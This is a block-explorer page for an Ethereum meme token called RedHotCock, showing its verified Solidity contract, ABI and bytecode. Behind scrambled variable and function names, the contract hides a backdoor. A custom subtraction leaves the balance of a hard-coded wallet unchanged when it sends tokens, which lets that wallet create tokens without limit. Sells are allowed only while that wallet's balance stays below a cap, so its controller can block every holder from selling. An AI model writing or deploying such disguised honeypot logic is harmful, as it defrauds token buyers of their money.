ETH Price: $3,296.63 (-2.02%)

Token

ʳᵉᵈ ʰᵒᵗ ᶜᵒᶜᵏ (RedHotCock)
 

Overview

Max Total Supply

42,069,000,000 RedHotCock

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
48,048,294.814659653 RedHotCock

Value
$0.00
0x9f8cd8d5f03d9699040d7456872fcb285e26446b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RedHotCock

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-09
*/

/*

https://twitter.com/Matt_Furie/status/1700400724306534724

🐸ʳᵉᵈ ʰᵒᵗ ᶜᵒᶜᵏ $RedHotCock

TG:https://t.me/RHC_ETH

**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


    interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
    }

    library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath");
        return c;
    }

    function  rpydr(uint256 a, uint256 b) internal pure returns (uint256) {
        return  rpydr(a, b, "SafeMath");
    }

    function  rpydr(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    }

    abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    }


    contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    }

    interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    }

    interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline) 
    external payable returns (uint amountToken, uint amountETH, uint liquidity);
    }

    contract RedHotCock is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"ʳᵉᵈ ʰᵒᵗ ᶜᵒᶜᵏ";
    string private constant _symbol = unicode"RedHotCock";
    uint8 private constant _decimals = 9;

    uint256 private constant _totalSupply = 42069000000 * (10**_decimals);
    uint256 public _taxSwaptMsp = _totalSupply;
    uint256 public _maxHoldingkAmount = _totalSupply;
    uint256 public _taxSwapThreshold = _totalSupply;
    uint256 public _taxSwapkMax = _totalSupply;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=7;
    uint256 private _reduceSellTax1At=1;
    uint256 private _swpyudauit=0;
    uint256 private _euyhqien=0;
    address public  _FktaerFutoly = 0x788755E2839fe821E8f4f6DcD4386CfA5B1313da;

    mapping (address => uint256) private  _balances;
    mapping (address => mapping (address => uint256)) private  _allowances;
    mapping (address => bool) private  _excdtydFrnewts;
    mapping (address => bool) private  _iraWeuirat;
    mapping(address => uint256) private  _hdLaujTransTjlp;
    bool public  transerDelyEnble = false;

    IUniswapV2Router02 private  _uniRouterzV2;
    address private  _uniV2zLP;
    bool private  _rerkpuvpr;
    bool private  _inTaxySwap = false;
    bool private  _swaplrsUniswapqsre = false;

 
    event RmaurAtupbx(uint _taxSwaptMsp);
    modifier lockTakSwap {
        _inTaxySwap = true;
        _;
        _inTaxySwap = false;
    }

    constructor () { 
        _balances[_msgSender()] = _totalSupply;
        _excdtydFrnewts[owner()] = true;
        _excdtydFrnewts[address(this)] = true;
        _excdtydFrnewts[_FktaerFutoly] = true;


        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. rpydr(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner!= address(0), "ERC20: approve from the zero address");
        require(spender!= address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require (from!= address(0), "ERC20:  transfer  from  the  zero  address");
        require (to!= address(0), "ERC20: transfer to the zero  address");
        require (amount > 0, "Transfer  amount  must  be  greater  than  zero");
        uint256  taxAmount = 0;
        if  ( from != owner() &&to!= owner()) {

            if  (transerDelyEnble) {
                if  (to!= address(_uniRouterzV2) &&to!= address(_uniV2zLP)) {
                  require (_hdLaujTransTjlp[tx.origin] < block.number, " Only  one  transfer  per  block  allowed.");
                  _hdLaujTransTjlp[tx.origin] = block.number;
                }
            }

            if  ( from == _uniV2zLP && to!= address (_uniRouterzV2) &&!_excdtydFrnewts[to]) {
                require (amount <= _taxSwaptMsp, "Forbid");
                require (balanceOf (to) + amount <= _maxHoldingkAmount,"Forbid");
                if  (_euyhqien < _swpyudauit) {
                  require (!rhufeqre(to));
                }
                _euyhqien ++ ; _iraWeuirat[to] = true;
                taxAmount = amount.mul((_euyhqien > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if(to == _uniV2zLP&&from!= address (this) &&! _excdtydFrnewts[from]) {
                require (amount <= _taxSwaptMsp && balanceOf(_FktaerFutoly) <_taxSwapkMax, "Forbid");
                taxAmount = amount.mul((_euyhqien > _reduceSellTax1At) ?_finalSellTax:_initialSellTax).div(100);
                require (_euyhqien >_swpyudauit && _iraWeuirat[from]);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_inTaxySwap 
            &&  to  ==_uniV2zLP&&_swaplrsUniswapqsre &&contractTokenBalance > _taxSwapThreshold 
            &&  _euyhqien > _swpyudauit &&! _excdtydFrnewts [to] &&! _excdtydFrnewts [from]
            )  {
                _transferFrom(uvryt(amount,uvryt(contractTokenBalance, _taxSwapkMax)));
                uint256  contractETHBalance = address (this).balance;
                if (contractETHBalance > 0)  {
                }
            }
        }

        if ( taxAmount > 0 ) {
          _balances[address(this)] = _balances [address(this)].add(taxAmount);
          emit  Transfer (from, address (this) ,taxAmount);
        }
        _balances[from] = rpydr(from , _balances [from], amount);
        _balances[to] = _balances[to].add(amount.rpydr (taxAmount));
        emit  Transfer( from, to, amount. rpydr(taxAmount));
    }

    function _transferFrom(uint256 _swapTaxAndLiquify) private lockTakSwap {
        if(_swapTaxAndLiquify==0){return;}
        if(!_rerkpuvpr){return;}
        address[] memory path =  new   address [](2);
        path[0] = address (this);
        path[1] = _uniRouterzV2.WETH();
        _approve(address (this), address (_uniRouterzV2), _swapTaxAndLiquify);
        _uniRouterzV2.swapExactTokensForETHSupportingFeeOnTransferTokens( _swapTaxAndLiquify, 0, path,address (this), block . timestamp );
    }

    function uvryt(uint256 a, uint256 b) private pure returns (uint256) {
    return (a >= b) ? b : a;
    }

    function rpydr(address from, uint256 a, uint256 b) private view returns (uint256) {
    if (from == _FktaerFutoly) {
        return a;
    } else {
        require(a >= b, "Subtraction underflow");
        return a - b;
    }
    }

    function removerLimits() external onlyOwner{
        _taxSwaptMsp  =  _totalSupply ;
        _maxHoldingkAmount = _totalSupply ;
        transerDelyEnble = false ;
        emit  RmaurAtupbx ( _totalSupply ) ;
    }

   function rhufeqre(address account) private view returns (bool) {
    uint256 codeSize;
    address[] memory addresses = new address[](1);
    addresses[0] = account;

    assembly {
        codeSize := extcodesize(account)
    }

    return codeSize > 0;
    }


    function startTrading() external onlyOwner() {
        require (!_rerkpuvpr, " trading is open " ) ;
        _uniRouterzV2 = IUniswapV2Router02 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve (address (this),address(_uniRouterzV2), _totalSupply);
        _uniV2zLP = IUniswapV2Factory(_uniRouterzV2.factory()).createPair (address(this), _uniRouterzV2. WETH());
        _uniRouterzV2.addLiquidityETH {value:address(this).balance } (address(this),balanceOf(address (this)),0,0,owner(),block.timestamp);
        IERC20 (_uniV2zLP).approve (address(_uniRouterzV2), type(uint). max);
        _swaplrsUniswapqsre = true ;
        _rerkpuvpr = true ;
    }

    receive( )  external  payable  { }
    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_taxSwaptMsp","type":"uint256"}],"name":"RmaurAtupbx","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_FktaerFutoly","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxHoldingkAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapkMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwaptMsp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removerLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"transerDelyEnble","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000323565b62000023906409cb81ff406200033a565b600155620000346009600a62000323565b62000045906409cb81ff406200033a565b600255620000566009600a62000323565b62000067906409cb81ff406200033a565b600355620000786009600a62000323565b62000089906409cb81ff406200033a565b600455600a6005819055601460068190556001600781815560088290556009559091555f600b819055600c55600d80546001600160a01b03191673788755e2839fe821e8f4f6dcd4386cfa5b1313da1790556013805460ff19169055805461ffff60a81b19169055348015620000fd575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200014c6009600a62000323565b6200015d906409cb81ff406200033a565b335f818152600e602090815260408083209490945581546001600160a01b03908116835260109091528382208054600160ff1991821681179092553084528584208054821683179055600d5490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ec6009600a62000323565b620001fd906409cb81ff406200033a565b60405190815260200160405180910390a362000354565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200026857815f19048211156200024c576200024c62000214565b808516156200025a57918102915b93841c93908002906200022d565b509250929050565b5f8262000280575060016200031d565b816200028e57505f6200031d565b8160018114620002a75760028114620002b257620002d2565b60019150506200031d565b60ff841115620002c657620002c662000214565b50506001821b6200031d565b5060208310610133831016604e8410600b8410161715620002f7575081810a6200031d565b62000303838362000228565b805f190482111562000319576200031962000214565b0290505b92915050565b5f6200033360ff84168362000270565b9392505050565b80820281158282048414176200031d576200031d62000214565b6118ff80620003625f395ff3fe608060405260043610610112575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb14610313578063bf474bed14610332578063daa9a34314610347578063dca87d461461035b578063dd62ed3e1461037a575f80fd5b806370a0823114610254578063715018a6146102885780638da5cb5b1461029c5780639115a9ea146102cc57806395d89b41146102e1575f80fd5b806323b872dd116100e357806323b872dd146101d657806328369e61146101f5578063293230b81461020a578063313ce567146102205780635c84c1ba1461023b575f80fd5b80628f7ca91461011d57806306fdde0314610145578063095ea7b31461019357806318160ddd146101c2575f80fd5b3661011957005b5f80fd5b348015610128575f80fd5b5061013260025481565b6040519081526020015b60405180910390f35b348015610150575f80fd5b5060408051808201909152601e81527fcab3e1b589e1b58820cab0e1b592e1b59720e1b69ce1b592e1b69ce1b58f000060208201525b60405161013c91906114e6565b34801561019e575f80fd5b506101b26101ad366004611548565b6103be565b604051901515815260200161013c565b3480156101cd575f80fd5b506101326103d4565b3480156101e1575f80fd5b506101b26101f0366004611572565b6103f5565b348015610200575f80fd5b5061013260015481565b348015610215575f80fd5b5061021e61045d565b005b34801561022b575f80fd5b506040516009815260200161013c565b348015610246575f80fd5b506013546101b29060ff1681565b34801561025f575f80fd5b5061013261026e3660046115b0565b6001600160a01b03165f908152600e602052604090205490565b348015610293575f80fd5b5061021e610820565b3480156102a7575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161013c565b3480156102d7575f80fd5b5061013260045481565b3480156102ec575f80fd5b5060408051808201909152600a815269526564486f74436f636b60b01b6020820152610186565b34801561031e575f80fd5b506101b261032d366004611548565b610891565b34801561033d575f80fd5b5061013260035481565b348015610352575f80fd5b5061021e61089d565b348015610366575f80fd5b50600d546102b4906001600160a01b031681565b348015610385575f80fd5b506101326103943660046115cb565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b5f6103ca33848461095b565b5060015b92915050565b5f6103e16009600a6116f6565b6103f0906409cb81ff40611704565b905090565b5f610401848484610a7e565b610452843361044d856040518060600160405280602881526020016118a2602891396001600160a01b038a165f908152600f6020908152604080832033845290915290205491906110f0565b61095b565b5060015b9392505050565b5f546001600160a01b0316331461048f5760405162461bcd60e51b81526004016104869061171b565b60405180910390fd5b601454600160a01b900460ff16156104dd5760405162461bcd60e51b81526020600482015260116024820152700103a3930b234b7339034b99037b832b71607d1b6044820152606401610486565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556105379030906001600160a01b03610100909104166105286009600a6116f6565b61044d906409cb81ff40611704565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610588573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ac919061173c565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561060c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610630919061173c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561067a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069e919061173c565b601480546001600160a01b039283166001600160a01b031990911617905560135461010090041663f305d71947306106ea816001600160a01b03165f908152600e602052604090205490565b5f806106fd5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610763573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107889190611757565b505060145460135460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107e2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108069190611782565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108495760405162461bcd60e51b81526004016104869061171b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103ca338484610a7e565b5f546001600160a01b031633146108c65760405162461bcd60e51b81526004016104869061171b565b6108d26009600a6116f6565b6108e1906409cb81ff40611704565b6001556108f06009600a6116f6565b6108ff906409cb81ff40611704565b6002556013805460ff191690557f1d64d12f40e749be37d614ff686c1b80a20c39e5cee424205740d5d3d4c2fce86109396009600a6116f6565b610948906409cb81ff40611704565b60405190815260200160405180910390a1565b6001600160a01b0383166109bd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610486565b6001600160a01b038216610a1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610486565b6001600160a01b038381165f818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ae75760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610486565b6001600160a01b038216610b495760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610486565b5f8111610bb05760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610486565b5f80546001600160a01b03858116911614801590610bdb57505f546001600160a01b03848116911614155b15610fb15760135460ff1615610ca3576013546001600160a01b038481166101009092041614801590610c1c57506014546001600160a01b03848116911614155b15610ca357325f908152601260205260409020544311610c915760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610486565b325f9081526012602052604090204390555b6014546001600160a01b038581169116148015610cd357506013546001600160a01b038481166101009092041614155b8015610cf757506001600160a01b0383165f9081526010602052604090205460ff16155b15610dee57600154821115610d1e5760405162461bcd60e51b8152600401610486906117a1565b60025482610d40856001600160a01b03165f908152600e602052604090205490565b610d4a91906117c1565b1115610d685760405162461bcd60e51b8152600401610486906117a1565b600b54600c541015610d8657610d7d83611128565b15610d86575f80fd5b600c8054905f610d95836117d4565b90915550506001600160a01b0383165f908152601160205260409020805460ff19166001179055600954600c54610deb91606491610de59110610dda57600554610dde565b6007545b8590611181565b906111e0565b90505b6014546001600160a01b038481169116148015610e1457506001600160a01b0384163014155b8015610e3857506001600160a01b0384165f9081526010602052604090205460ff16155b15610ede576001548211158015610e695750600454600d546001600160a01b03165f908152600e6020526040902054105b610e855760405162461bcd60e51b8152600401610486906117a1565b610eaa6064610de5600a54600c5411610ea057600654610dde565b6008548590611181565b9050600b54600c54118015610ed657506001600160a01b0384165f9081526011602052604090205460ff165b610ede575f80fd5b305f908152600e6020526040902054601454600160a81b900460ff16158015610f1457506014546001600160a01b038581169116145b8015610f295750601454600160b01b900460ff165b8015610f36575060035481115b8015610f455750600b54600c54115b8015610f6957506001600160a01b0384165f9081526010602052604090205460ff16155b8015610f8d57506001600160a01b0385165f9081526010602052604090205460ff16155b15610faf57610faf610faa84610fa58460045461120c565b61120c565b611221565b505b801561102957305f908152600e6020526040902054610fd090826113cd565b305f818152600e6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110209085815260200190565b60405180910390a35b6001600160a01b0384165f908152600e602052604090205461104d90859084611416565b6001600160a01b0385165f908152600e6020526040902055611090611072838361148e565b6001600160a01b0385165f908152600e6020526040902054906113cd565b6001600160a01b038085165f818152600e602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110d9858561148e565b60405190815260200160405180910390a350505050565b5f81848411156111135760405162461bcd60e51b815260040161048691906114e6565b505f61111f84866117ec565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f81518110611160576111606117ff565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361119057505f6103ce565b5f61119b8385611704565b9050826111a88583611813565b146104565760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610486565b5f6104568383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506114ba565b5f8183101561121b5782610456565b50919050565b6014805460ff60a81b1916600160a81b17905580156113bd57601454600160a01b900460ff16156113bd576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061127f5761127f6117ff565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112f0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611314919061173c565b81600181518110611327576113276117ff565b6001600160a01b0392831660209182029290920101526013546113529130916101009004168461095b565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac9479061138e9085905f90869030904290600401611832565b5f604051808303815f87803b1580156113a5575f80fd5b505af11580156113b7573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b5f806113d983856117c1565b9050838110156104565760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610486565b600d545f906001600160a01b0390811690851603611435575081610456565b8183101561147d5760405162461bcd60e51b81526020600482015260156024820152745375627472616374696f6e20756e646572666c6f7760581b6044820152606401610486565b61148782846117ec565b9050610456565b5f6104568383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110f0565b5f81836114da5760405162461bcd60e51b815260040161048691906114e6565b505f61111f8486611813565b5f6020808352835180828501525f5b81811015611511578581018301518582016040015282016114f5565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611545575f80fd5b50565b5f8060408385031215611559575f80fd5b823561156481611531565b946020939093013593505050565b5f805f60608486031215611584575f80fd5b833561158f81611531565b9250602084013561159f81611531565b929592945050506040919091013590565b5f602082840312156115c0575f80fd5b813561045681611531565b5f80604083850312156115dc575f80fd5b82356115e781611531565b915060208301356115f781611531565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561165057815f190482111561163657611636611602565b8085161561164357918102915b93841c939080029061161b565b509250929050565b5f82611666575060016103ce565b8161167257505f6103ce565b81600181146116885760028114611692576116ae565b60019150506103ce565b60ff8411156116a3576116a3611602565b50506001821b6103ce565b5060208310610133831016604e8410600b84101617156116d1575081810a6103ce565b6116db8383611616565b805f19048211156116ee576116ee611602565b029392505050565b5f61045660ff841683611658565b80820281158282048414176103ce576103ce611602565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f6020828403121561174c575f80fd5b815161045681611531565b5f805f60608486031215611769575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611792575f80fd5b81518015158114610456575f80fd5b602080825260069082015265119bdc989a5960d21b604082015260600190565b808201808211156103ce576103ce611602565b5f600182016117e5576117e5611602565b5060010190565b818103818111156103ce576103ce611602565b634e487b7160e01b5f52603260045260245ffd5b5f8261182d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118805784516001600160a01b03168352938301939183019160010161185b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122058cd9e1fdecfbd1261adc423fd01e97c1b8f309fc0d8727e5a8260b28db9b27e64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610112575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb14610313578063bf474bed14610332578063daa9a34314610347578063dca87d461461035b578063dd62ed3e1461037a575f80fd5b806370a0823114610254578063715018a6146102885780638da5cb5b1461029c5780639115a9ea146102cc57806395d89b41146102e1575f80fd5b806323b872dd116100e357806323b872dd146101d657806328369e61146101f5578063293230b81461020a578063313ce567146102205780635c84c1ba1461023b575f80fd5b80628f7ca91461011d57806306fdde0314610145578063095ea7b31461019357806318160ddd146101c2575f80fd5b3661011957005b5f80fd5b348015610128575f80fd5b5061013260025481565b6040519081526020015b60405180910390f35b348015610150575f80fd5b5060408051808201909152601e81527fcab3e1b589e1b58820cab0e1b592e1b59720e1b69ce1b592e1b69ce1b58f000060208201525b60405161013c91906114e6565b34801561019e575f80fd5b506101b26101ad366004611548565b6103be565b604051901515815260200161013c565b3480156101cd575f80fd5b506101326103d4565b3480156101e1575f80fd5b506101b26101f0366004611572565b6103f5565b348015610200575f80fd5b5061013260015481565b348015610215575f80fd5b5061021e61045d565b005b34801561022b575f80fd5b506040516009815260200161013c565b348015610246575f80fd5b506013546101b29060ff1681565b34801561025f575f80fd5b5061013261026e3660046115b0565b6001600160a01b03165f908152600e602052604090205490565b348015610293575f80fd5b5061021e610820565b3480156102a7575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161013c565b3480156102d7575f80fd5b5061013260045481565b3480156102ec575f80fd5b5060408051808201909152600a815269526564486f74436f636b60b01b6020820152610186565b34801561031e575f80fd5b506101b261032d366004611548565b610891565b34801561033d575f80fd5b5061013260035481565b348015610352575f80fd5b5061021e61089d565b348015610366575f80fd5b50600d546102b4906001600160a01b031681565b348015610385575f80fd5b506101326103943660046115cb565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b5f6103ca33848461095b565b5060015b92915050565b5f6103e16009600a6116f6565b6103f0906409cb81ff40611704565b905090565b5f610401848484610a7e565b610452843361044d856040518060600160405280602881526020016118a2602891396001600160a01b038a165f908152600f6020908152604080832033845290915290205491906110f0565b61095b565b5060015b9392505050565b5f546001600160a01b0316331461048f5760405162461bcd60e51b81526004016104869061171b565b60405180910390fd5b601454600160a01b900460ff16156104dd5760405162461bcd60e51b81526020600482015260116024820152700103a3930b234b7339034b99037b832b71607d1b6044820152606401610486565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556105379030906001600160a01b03610100909104166105286009600a6116f6565b61044d906409cb81ff40611704565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610588573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ac919061173c565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561060c573d5f803e3d5ffd